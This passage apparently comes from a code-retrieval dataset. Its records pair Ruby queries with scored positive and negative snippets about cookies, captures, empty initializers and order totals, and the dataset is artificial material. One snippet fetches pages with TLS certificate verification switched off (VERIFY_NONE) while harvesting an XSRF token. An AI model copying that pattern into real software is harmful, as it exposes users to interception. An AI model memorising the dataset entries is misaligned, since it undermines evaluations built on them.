cookies[_session_id_key]\n end", "title": "" }, { "docid": "11c8cfe6e3bb9741f2092b8675d5a842", "score": "0.45681816", "text": "def eat_milk_and_cookies(cookie)\r\n\t\tputs \"That was a good #{cookie} here!\"\r\n\tend", "title": "" }, { "docid": "bbc6b033856d4976a974a18b010fb260", "score": "0.45651406", "text": "def eat_milk_and_cookies(cookie)\n\t\tputs \"That was a good #{cookie} cookie!\"\n\tend", "title": "" }, { "docid": "e8534edfcba72824c0f325bfcfd4bc2e", "score": "0.45648843", "text": "def captures\n @captures ||= []\n end", "title": "" }, { "docid": "d455935c3afaf7c6687ccc341af7da3d", "score": "0.45645043", "text": "def get_stage_and_fetch_cookie(request_url = @url , limit = 10)\n # You should choose better exception.\n raise ArgumentError, 'HTTP redirect too deep' if limit <= 0\n puts \"Trying to GET #{request_url}\".yellow\n url = URI.parse(request_url)\n req = Net::HTTP::Get.new(url.request_uri)\n if @cookie != \"\"\n req['Cookie'] = get_cookie\n end\n if @host_url \n req.add_field(\"Host\", @host_url)\n end\n use_ssl = false\n if url.instance_of? URI::HTTPS\n use_ssl = true\n end\n begin\n response = Net::HTTP.start(url.host, url.port, use_ssl: use_ssl, verify_mode: OpenSSL::SSL::VERIFY_NONE) { |http| http.request(req) }\n if response['set-cookie']\n @cookie = response['set-cookie'].split('; ')[0]\n response['set-cookie'].split(';').each do |part|\n if ((part and part.include? \"atl.xsrf.token\") and (part.match(/atl.xsrf.token=(.*)/)))\n # parse only the token\n @atl_token = part.match(/atl.xsrf.token=(.*)/).captures[0]\n break\n end\n end\n puts \"Found new cookie #{get_cookie}\".yellow\n end\n if response['location']\n redirection_url = compose_redirection_url(response['location'])\n puts \"Redirected to: #{redirection_url}\".yellow\n else\n @current_url = url.request_uri\n puts \"Ended in: #{@current_url}\".yellow\n end\n case response\n when Net::HTTPSuccess then response.code.to_i\n when Net::HTTPRedirection then get_stage_and_fetch_cookie(redirection_url, limit - 1)\n else\n puts response.body\n puts response.code.to_s\n response.code.to_i\n end\n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNREFUSED,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n @current_url = request_url\n 404\n end\n end", "title": "" }, { "docid": "94fc8018ca29a298055e4a67005276c7", "score": "0.45638028", "text": "def cookie\n @xmlrpc.cookie\n end", "title": "" }, { "docid": "786dd833e299239819306d96042f0062", "score": "0.45625588", "text": "def capture_request(tid, total = nil)\n capture_request = Cielo::CaptureRequest.new\n response = send_request(capture_request.serialize(tid, total = nil, @affiliation, @affiliation_key))\n end", "title": "" }, { "docid": "a5b33a0c3a832c8968ef23e7bd1c0b3e", "score": "0.45566052", "text": "def eat_milk_and_cookies(cookie_type)\r\n\t\tputs \"That was a good #{cookie_type}\"\r\n\tend", "title": "" }, { "docid": "403ecca8798702fbd26447da6c084b12", "score": "0.45524028", "text": "def log_request\n # REQUEST_LOG.info( {\n # time: Time.now.to_s,\n # ip: request.remote_ip,\n # path: request.path,\n # site: request.host,\n # user_agent: request.user_agent,\n # params: (request.request_parameters.blank? ? request.query_parameters : request.request_parameters),\n # device: sub_group_type,\n # referer_header: referer,\n # current_page_header: current_page,\n # landing_url_header: land_url,\n # visitor_id_header: request.env['HTTP_VISITOR_ID'],\n # session_id_header: request.env['HTTP_SESSION_ID'],\n # visitor_id: visitor_id,\n # session_id: session_id,\n # params: params\n # } )\n end", "title": "" }, { "docid": "550e092f51da4b3221119f0c94f38c00", "score": "0.45456564", "text": "def cookie\n # 'frontend=aaa'\n nil\n end", "title": "" }, { "docid": "d5d200310b0f4f05115e360831226431", "score": "0.4541679", "text": "def capture(name); end", "title": "" }, { "docid": "ec20447e8fd32824e46cd2818a4f6343", "score": "0.453936", "text": "def value=( cookie_octets )\n\t\t# self.log.debug \"Setting cookie value to: %p\" % [ cookie_octets ]\n\t\traise Strelka::CookieError,\n\t\t\t\"invalid cookie value; value must be composed of non-control us-ascii characters \" +\n\t\t\t\"other than SPACE, double-quote, comma, semi-colon, and backslash. \" +\n\t\t\t\"Use #base64_value= for storing arbitrary data.\" unless\n\t\t\tcookie_octets =~ /^#{COOKIE_VALUE}$/\n\n\t\t@value = cookie_octets\n\tend", "title": "" } ]
9f6f76d5b75229fbb2552c37f7c8f080
=== Instance Methods ===
[ { "docid": "bf14f4a440be58e2e7596bf7b7f7913e", "score": "0.0", "text": "def primary; parent.nil? end", "title": "" } ]
[ { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "b5b25700e97a3ff8649acd443cb60f46", "score": "0.7502186", "text": "def instance; end", "title": "" }, { "docid": "003f93545faf95741b6daf49b5599d9c", "score": "0.749608", "text": "def _self; end", "title": "" }, { "docid": "170e7cc6f3b91fc8d88704f0d36db709", "score": "0.7411277", "text": "def initialize; super; end", "title": "" }, { "docid": "18250542a2b1999be90588db1d071d92", "score": "0.73555195", "text": "def initialize\n\t\t\n\tend", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.73421913", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.73421913", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.73421913", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.73421913", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.73421913", "text": "def implementation; end", "title": "" }, { "docid": "40769f9969d33ad71cb2389a7e574114", "score": "0.7308578", "text": "def institucional\n\t\t\n\tend", "title": "" }, { "docid": "413eb7a7781383c931819b4af16b7ad0", "score": "0.72725683", "text": "def initialize\n \n end", "title": "" }, { "docid": "413eb7a7781383c931819b4af16b7ad0", "score": "0.72725683", "text": "def initialize\n \n end", "title": "" }, { "docid": "cdd58dace22c11a7043a695fbef6319a", "score": "0.7263158", "text": "def initialize\n\n end", "title": "" }, { "docid": "cdd58dace22c11a7043a695fbef6319a", "score": "0.7263158", "text": "def initialize\n\n end", "title": "" }, { "docid": "cdd58dace22c11a7043a695fbef6319a", "score": "0.7263158", "text": "def initialize\n\n end", "title": "" }, { "docid": "cdd58dace22c11a7043a695fbef6319a", "score": "0.7263158", "text": "def initialize\n\n end", "title": "" }, { "docid": "cdd58dace22c11a7043a695fbef6319a", "score": "0.7263158", "text": "def initialize\n\n end", "title": "" }, { "docid": "750dff3807780d14440a128104770309", "score": "0.7233884", "text": "def initialize\r\n end", "title": "" }, { "docid": "ed46df5c17a3916ba8db7656712f8e8d", "score": "0.7200581", "text": "def self ; @self ; end", "title": "" }, { "docid": "ed46df5c17a3916ba8db7656712f8e8d", "score": "0.7200581", "text": "def self ; @self ; end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "8e10117902ff3282a42ea5b72dde9df5", "score": "0.7175037", "text": "def initialize\n end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "27b17d3efbfa96fcae1899acb992e406", "score": "0.71654207", "text": "def initialize; end", "title": "" }, { "docid": "30db4e5d165a6098d1aeb8f8dd7b66e8", "score": "0.70718735", "text": "def initialize() end", "title": "" }, { "docid": "30db4e5d165a6098d1aeb8f8dd7b66e8", "score": "0.70718735", "text": "def initialize() end", "title": "" }, { "docid": "a83980d1953a1624afdb6684da64ec09", "score": "0.7064612", "text": "def initialize(); end", "title": "" }, { "docid": "2290804b238fc95bfd6b38f87c6d2895", "score": "0.70519173", "text": "def override; end", "title": "" }, { "docid": "5cf2cba0ee7f9825b63b087af5363b37", "score": "0.7034732", "text": "def init; end", "title": "" }, { "docid": "5cf2cba0ee7f9825b63b087af5363b37", "score": "0.7034732", "text": "def init; end", "title": "" }, { "docid": "5cf2cba0ee7f9825b63b087af5363b37", "score": "0.7034732", "text": "def init; end", "title": "" }, { "docid": "5cf2cba0ee7f9825b63b087af5363b37", "score": "0.7034732", "text": "def init; end", "title": "" }, { "docid": "5cf2cba0ee7f9825b63b087af5363b37", "score": "0.7034732", "text": "def init; end", "title": "" }, { "docid": "5cf2cba0ee7f9825b63b087af5363b37", "score": "0.7034732", "text": "def init; end", "title": "" }, { "docid": "5cf2cba0ee7f9825b63b087af5363b37", "score": "0.7034732", "text": "def init; end", "title": "" }, { "docid": "1cbe40a616aff57de850d7af265a5eef", "score": "0.70145327", "text": "def initialize \n\n\n\tend", "title": "" }, { "docid": "ad0eeb67b988aadcd20ef1dd6739a767", "score": "0.7008725", "text": "def initialize \n end", "title": "" }, { "docid": "bfec75ba54576a40ea45df45e210371a", "score": "0.70008403", "text": "def initialize\n \n end", "title": "" }, { "docid": "1e5e53c4b9e93d9482caa25c8f435412", "score": "0.69732296", "text": "def methods; end", "title": "" }, { "docid": "5644f33dcaa6e75fea2f34138b4021e6", "score": "0.6961115", "text": "def init\r\n \r\n end", "title": "" }, { "docid": "df0d23338a0a7c8d76732664fba75f8a", "score": "0.6950819", "text": "def initialize\n\n end", "title": "" }, { "docid": "df0d23338a0a7c8d76732664fba75f8a", "score": "0.6950819", "text": "def initialize\n\n end", "title": "" }, { "docid": "df0d23338a0a7c8d76732664fba75f8a", "score": "0.6950819", "text": "def initialize\n\n end", "title": "" }, { "docid": "f466bb6c7455ea8d2d5ecdd1b8896422", "score": "0.6935016", "text": "def initialize\n super\n end", "title": "" }, { "docid": "f466bb6c7455ea8d2d5ecdd1b8896422", "score": "0.6935016", "text": "def initialize\n super\n end", "title": "" }, { "docid": "f466bb6c7455ea8d2d5ecdd1b8896422", "score": "0.6935016", "text": "def initialize\n super\n end", "title": "" }, { "docid": "c6116a572da53228c0ff0d98bc9a2bfc", "score": "0.6920456", "text": "def initialize\n end", "title": "" }, { "docid": "c6116a572da53228c0ff0d98bc9a2bfc", "score": "0.6920456", "text": "def initialize\n end", "title": "" }, { "docid": "c6116a572da53228c0ff0d98bc9a2bfc", "score": "0.6920456", "text": "def initialize\n end", "title": "" } ]
f6c7bb8914c56a9efdb490906a892f51
packageMenu = PackageMenu.where(:menu_id => menu_id) total = 0 packageMenu.each do |pack| total = total + pack.package.price MenuRecipe.where(:menu => menu_id).each do |m| total = total + m.recipe.price end end total
[ { "docid": "d80a8e0d10a136ad510c357ade6942a5", "score": "0.0", "text": "def find_my_menu_here(menu_id)\n #recipes = self.find_all_by_menu\n end", "title": "" } ]
[ { "docid": "47645cd45eece5d9fdd0890f551ee2a3", "score": "0.76403373", "text": "def tasting_menu_cost\n sum = 0\n self.menu_items.each do |item_instance|\n sum += item_instance.price \n end\n sum \n end", "title": "" }, { "docid": "64cee9338ed39ceca4125d235c8c4a17", "score": "0.7476615", "text": "def total_price\n menu_items.map(&:price).sum\n end", "title": "" }, { "docid": "8e6efaad84978299c67cf2315d02371c", "score": "0.7336004", "text": "def total\n #take all of the line items, put them in a collect loop, so that values are saved.\n self.line_items.collect do |line_item|\n #for each line_item inside of the cart, take the price and multiply it by how many of that line_item there are\n line_item.item.price * line_item.quantity\n #get sum of the price.\n end.sum\n end", "title": "" }, { "docid": "9813a639d27749ea48ed0ac200a2a3e2", "score": "0.7308072", "text": "def calculate_total\n\n food_total = 0\n self.foods_orders.each do |order|\n food_total += order.food.price * order.quantity\n end\n self.food_total = food_total\n\n drink_total = 0\n self.drinks_orders.each do |order|\n drink_total += order.drink.price * order.quantity\n end\n self.drink_total = drink_total\n\n self.grand_total = food_total + drink_total\n end", "title": "" }, { "docid": "483442495cf8bd1287ffbd21dc042f15", "score": "0.7266396", "text": "def sum\n sum = 0\n self.items_counts.all.each { |count| sum += count.count*count.item.price }\n return sum \n end", "title": "" }, { "docid": "a3a13726b7b84d0b16c14d30f536c0af", "score": "0.71903825", "text": "def total_price\n price = 0\n object.items.each do |item|\n price += item.pizza_type.price * item.quantity\n end\n price\n end", "title": "" }, { "docid": "a1e4ad1893f3d65e6857fd908fbae25d", "score": "0.71408075", "text": "def calculate_total\n total = 0\n self.order_products.each do |order_product|\n total += order_product.calculate_cost\n end\n total\n end", "title": "" }, { "docid": "e2f61b463aea15e7613e33308af142de", "score": "0.7082329", "text": "def calculate_total\n items.joins(:product).sum(\"#{Product.table_name}.price\").to_f\n end", "title": "" }, { "docid": "cf17a1567de042c04c75d8e2abd75749", "score": "0.7071273", "text": "def total\n\t\t#suma = 0\n\t\t#products.each do |product|\n\t\t#\tsuma +=product.pricing\n\t#\tend\n\t#\tsuma\n\t\tproducts.sum(:pricing)\n\tend", "title": "" }, { "docid": "2d73f833f49d33977d40c14eab5a8a11", "score": "0.70554686", "text": "def sumar_montos\n acum = 0\n @lis_products = Sale::ProductQuotation.where(sale_quotation_id: self.id)\n @lis_products.each do |product|\n product.quantity.times do\n acum = acum + product.product_product.price\n end\n end\n\n @lis_packages = Sale::PackageQuotation.where(sale_quotation_id: self.id)\n @lis_packages.each do |package|\n package.quantity.times do\n acum = acum + package.colection_package.total_amount\n end\n end\n return acum\n end", "title": "" }, { "docid": "686bbf70bace060605ff331454fbda53", "score": "0.70211124", "text": "def cart_total\n total = 0\n\n cart_products.each do |p|\n total += p.product.price * p.amount\n end\n\n total\n end", "title": "" }, { "docid": "3954cf0046dbe9b57f3f7f57e509fc55", "score": "0.70154405", "text": "def total_price\n menu.price * quantity\n end", "title": "" }, { "docid": "444b19d37a74014b344151a14eecc774", "score": "0.6989392", "text": "def total_price\n\n # Init default value\n total_price = 0\n\n # Calculate products price\n if !products.empty?\n products.each { |key, value|\n # Get products discount\n key.discount = key.product_discounts.where('date_start <= ? and date_end >= ? and quantity <= ?', DateTime.now, DateTime.now, value).order('priority ASC').first\n product_price = key.discount.nil? ? key.price : key.discount.price\n total_price = total_price + (product_price * value)\n }\n end\n\n @total_price = total_price\n end", "title": "" }, { "docid": "af7f045943c7f01bf24245b4eb1285ef", "score": "0.69801736", "text": "def total \n @total = @mother.gifts.sum(:price) \n end", "title": "" }, { "docid": "02c6750ab183b59fb2070d588ddb7cc2", "score": "0.69732803", "text": "def total_price\n # sum of the price of all the dishes\n\n self.dishes.sum(\"price\")\n end", "title": "" }, { "docid": "0e6d5e5e453820c8d9b3100285f919ee", "score": "0.696376", "text": "def total\n total = 0\n line_items.each do |line_item|\n total += line_item.item.price * line_item.quantity\n end\n total\n end", "title": "" }, { "docid": "d029a811f9b93ccc6460af548f7fdf74", "score": "0.6958683", "text": "def total\n \n sum = 0\n @items = Rule.match(@items_hash, @items)\n \n @items.each do |item|\n sum += item.price\n end\n\n sum = Rule.discount(sum)\n \n end", "title": "" }, { "docid": "9ab804846466d2292a0a9b3b4ba0d5b6", "score": "0.6916152", "text": "def total_price\n total = 0\n line_items.each do |line_item|\n total += line_item.product.price * line_item.quantity\n end\n total\n end", "title": "" }, { "docid": "e20cb667c0ada77736ecf2b0d5047251", "score": "0.69111955", "text": "def total\n total = 0\n self.line_items.each do |line_item|\n total += (line_item.item.price * line_item.quantity)\n end\n total\n end", "title": "" }, { "docid": "8f469cf3946ddeb4d7d5423d0f4bc5bc", "score": "0.69096905", "text": "def set_total\n self.total = 0\n\t\tself.menu_items.each do |menu_item_id, amt|\n\t\t\tself.total += MenuItem.find(menu_item_id).price * amt.to_i\n\t\tend\n\tend", "title": "" }, { "docid": "ca5e7db3d1606590327fccacb85ced51", "score": "0.6891613", "text": "def total_stock_value\n total = 0\n for item in @drinks\n total += item[:amount] * item[:drink].price\n end\n return total\nend", "title": "" }, { "docid": "13562042df3cbd23fbc5703892b2df3c", "score": "0.6891465", "text": "def total_price\n @total = 0\n\n order_items.each do |i|\n @total = @total + i.product.price * i.quantity\n end \n\n @total\n end", "title": "" }, { "docid": "e1a2b86fd79a6a712935474f65e5fdb9", "score": "0.6884634", "text": "def total\n\t\tt = 0\n\t\tself.items.each do |item|\n\t\t\tt+=item.price\n\t\t\t\n\t\tend\n\t\tt\n\tend", "title": "" }, { "docid": "bf45f4b8b1418416ef6a583c81f73ae6", "score": "0.68841296", "text": "def total\n products.sum(:pricing)\n end", "title": "" }, { "docid": "55e8c9c25df0a339d532744bc04d732f", "score": "0.6857636", "text": "def tasting_menu_cost\n total_cost = 0\n if self.menu_items[0].price \n total_cost += self.menu_items[0].price\n end\n total_cost\n end", "title": "" }, { "docid": "de5704ce8640946e6d6323f74cfda2f9", "score": "0.68560517", "text": "def subtotal\n total = 0\n items.each do |item|\n total += item.price\n end\n total\n end", "title": "" }, { "docid": "07a2f50de36760986e769b4b59dc467e", "score": "0.6850298", "text": "def suma_total(budgets_supplies)\n sum = 0\n for item in budgets_supplies\n sum = sum + item.unit_cost * item.quantity\n end\n sum\n end", "title": "" }, { "docid": "aea6bab64e6175d809705f6b75931fc4", "score": "0.68393165", "text": "def get_ingredients_cost(id)\n @productitems = Productitem.where(:product_id => id)\n # @total = 0\n @total = @productitems.to_a.sum do |line_item|\n price = Ingredient.get_price(line_item.ingredient_id, line_item.price_selector)\n if price == \"no data\"\n \"missing data\"\n return 0\n else\n if !line_item.volume.blank?\n line_item.volume*price\n else\n uc = line_item.unit_count * (Ingredient.get_unit_weight(line_item.ingredient_id))\n uc*price\n end\n end\n end\n end", "title": "" }, { "docid": "46bb047ccafd6db081e3df33d7dbc749", "score": "0.68312967", "text": "def total_price\n total=0\n line_items.each do |line_item|\n total += line_item.stock_item.product.unit_price * line_item.quantity\n end\n total\n end", "title": "" }, { "docid": "5756ba2ddcbe3f62e9c4038ef24402f1", "score": "0.68233067", "text": "def calculate_total\n self.order_items.collect { |oi| oi.book.price * oi.quantity }.sum\n end", "title": "" }, { "docid": "4d904d9b2d02295afcc1dd0422db8911", "score": "0.6813174", "text": "def total_sum\n total = 0\n self.purchases.each do |purchase|\n sum = 0\n purchase.items.each do |item|\n sum += item.amount\n end\n total += sum\n end\n total\n end", "title": "" }, { "docid": "94423c830111b04d535918ab14a48230", "score": "0.6801963", "text": "def calculate_total\n self.order_items.collect { |item| item.product.price * item.quantity}.sum\n end", "title": "" }, { "docid": "0c0735a810ee6db61c4b964f140553f4", "score": "0.6797164", "text": "def setTotalPrice\r\n ShoppingCart.all.each do |shoppingcart|\r\n shopCartNum = shoppingcart.shopping_cart_num\r\n productIds = ShoppingCart.select('product_num').where(shopping_cart_num: shopCartNum)\r\n products = Product.where(id: productIds)\r\n totalPrice = 0\r\n products.all.each do |p|\r\n totalPrice += p.price\r\n end\r\n shoppingcart.total_price = totalPrice\r\n shoppingcart.save\r\n end\r\n end", "title": "" }, { "docid": "13fe762a96de1a44d22e50fdcf899507", "score": "0.67917126", "text": "def calculate_total\n self.order_items.collect { |item| item.product.price * item.quantity }.sum\n end", "title": "" }, { "docid": "c56d5a445a80e439501757fe7ef90dbc", "score": "0.678795", "text": "def calculate_total\n cart_items.map { |i| (i.quantity * i.inventory.product.price) }.reduce(:+)\n end", "title": "" }, { "docid": "404751ddaec6019c4601773462847ee6", "score": "0.67848617", "text": "def total_price\n price = 0\n cart_items.each do |item|\n price += item.price # price es un metodo con el total del item (precio*cantidad)\n if item.has_warranty?\n price += item.warranty.price * item.quantity\n end\n end\n price\n end", "title": "" }, { "docid": "3db8a0ef2aa9ef37b501286cb6d05fab", "score": "0.67835414", "text": "def total()\n total_price = 0\n # \n @shopping_list.each do |code, quantity|\n for product in @product_list do\n if product.code() == code\n # check if exist a pack promotion for this product\n if product.pack()\n # get the total amount of packs in the shopping list and is multiplied for the pack price\n total_price = total_price + (quantity / product.pack_quantity()).truncate() * product.pack_price()\n # get the total amount per unit discounting the packs and is multiplied for the regular price\n total_price = total_price + (quantity % product.pack_quantity() * product.price())\n else\n # get the total amount of units and multiplied for the regular price\n total_price = total_price + (quantity * product.price())\n end\n end\n end\n end\n puts \"Total price: \" + total_price.to_s\n # reset shopping list\n @shopping_list = Hash.new\n end", "title": "" }, { "docid": "8d0a3f1a0e8ae2506ff7b21b62bcd11b", "score": "0.6758442", "text": "def total\n self.line_items.map {|line_item| line_item.item.price * line_item.quantity }.sum\n end", "title": "" }, { "docid": "c6e9333138b84ac5877dbf1567335ee6", "score": "0.67356455", "text": "def apply_total\n total=0\n @rule_instance.store.select {|_,itemq| itemq['quantity']}.each do |_,item|\n total += item['subtot'] if item['quantity']\n end\n total\n end", "title": "" }, { "docid": "8c866d94021ef2db8c0c72ce337db9d7", "score": "0.6727843", "text": "def order_total\n total = 0\n @order.get_items.each do |item,quantity|\n total += @menu.get_price(item) * quantity\n end\n return total\n end", "title": "" }, { "docid": "32b5d972484cd8e43e2a5fdf37af86b9", "score": "0.67233163", "text": "def total_price\n @items.sum {|item| item.cost}\n end", "title": "" }, { "docid": "e2c9b401d6c8eb5591ac974704b723b3", "score": "0.6720183", "text": "def sub_total\n sum = 0\n line_items.each do |line_item|\n sum += line_item.total_price\n end\n sum\n end", "title": "" }, { "docid": "8c2757e8fc64a10c3493b75ed99440cb", "score": "0.67190397", "text": "def total\n #(0) means if items it returns 0 instead of nil\n # can't just use :+ because item is object\n line_items.inject(0){ |sum, line_item| sum += (line_item.item.price * line_item.quantity)}\n end", "title": "" }, { "docid": "1e2c419cdd95f599bb59045fb3fa7ecf", "score": "0.6718134", "text": "def total_price\n @items.inject(0) { |sum, item| sum + item.total_price }\n # zero will be added first to the item.total_price and so on\n end", "title": "" }, { "docid": "429deb375ebc989058d55ac12dc17352", "score": "0.67141116", "text": "def total_all \n subtotals.sum \n end", "title": "" }, { "docid": "2188ace633f7abadc3e7b956288d4f1a", "score": "0.66837555", "text": "def total\n @total = @items.map(&:price).reduce(:+)\n apply_promotional_rules\n @total\n end", "title": "" }, { "docid": "81daf4a333a9d68c5e8d9cb83cc4dec9", "score": "0.66828823", "text": "def total_price_in_dollars\n @total = 0 \n\n order_items.all.each do |i|\n @total = @total + i.product.price_in_dollars * i.quantity\n end \n\n return @total\n end", "title": "" }, { "docid": "809b8f91b80da1eb785320f8d1226d33", "score": "0.6682061", "text": "def total\n @products.empty? ? 0 : @products.reduce(0){|sum,p| sum += p.price}\n end", "title": "" }, { "docid": "dfb822ef81267b32fe0f6f942b82c92d", "score": "0.667965", "text": "def totalsales\n\tprices = 0\n\t$products_hash[\"items\"].each do |toy|\n\t\tputs toy[\"purchases\"].length\t\t\n\t\t#toy[\"purchases\"].each do |price|\n\t\t#puts price\n\t\t#\tprices += price\n\t\t#end\n\tend\n\t#puts prices\nend", "title": "" }, { "docid": "32455a0d22b5dbc228b2e6b553c2a10a", "score": "0.66790813", "text": "def total_price\n \tproduct.price * quantity #this calculates the total price of each line_item\n end", "title": "" }, { "docid": "afd1c020c1db4c4349093644c1000adf", "score": "0.66709036", "text": "def total\n items.inject(0.0){|sum, item| sum += (item.price_amount.to_f * item.quantity) }\n end", "title": "" }, { "docid": "a344a2f4f0ff06070c0bd6ed68a00a15", "score": "0.6665764", "text": "def total_value_in_stock\r\n sum = 0.0\r\n @books_in_stock.each {|book| sum += book.price} \n sum\r\n end", "title": "" }, { "docid": "72d90b99dd67e5b93044787b559892f7", "score": "0.6663532", "text": "def total_cart\n sum = 0\n self.line_items.each do |line_item|\n sum+= line_item.total_by_item\n end\n return sum\n end", "title": "" }, { "docid": "83f8e88ca799b3e60984649c65109a7a", "score": "0.6656829", "text": "def update_amount\n self.amount = sales_entries\n .find_all(&:price?)\n .sum { |sales_entry| sales_entry.price * sales_entry.quantity }\n \n self.vat_total = sales_entries\n .find_all(&:vat_amount?)\n .sum { |sales_entry| sales_entry.vat_amount * sales_entry.quantity }\n \n \n end", "title": "" }, { "docid": "9c6dfa2473616b5a5bfff18a6eaf9043", "score": "0.66557574", "text": "def total\n total = 0\n self.items.each do |item|\n total += item.price\n end\n self.total_cents = total\n end", "title": "" }, { "docid": "661bc95373e255fa8a720394a4844199", "score": "0.6653253", "text": "def total\n @total = 0.0\n for item in @items\n @total += (item.quantity * item.unit_price)\n end\n return @total\n end", "title": "" }, { "docid": "a8a090a40aa0bfd4c31cc497fb06c7cf", "score": "0.665179", "text": "def total_price\n 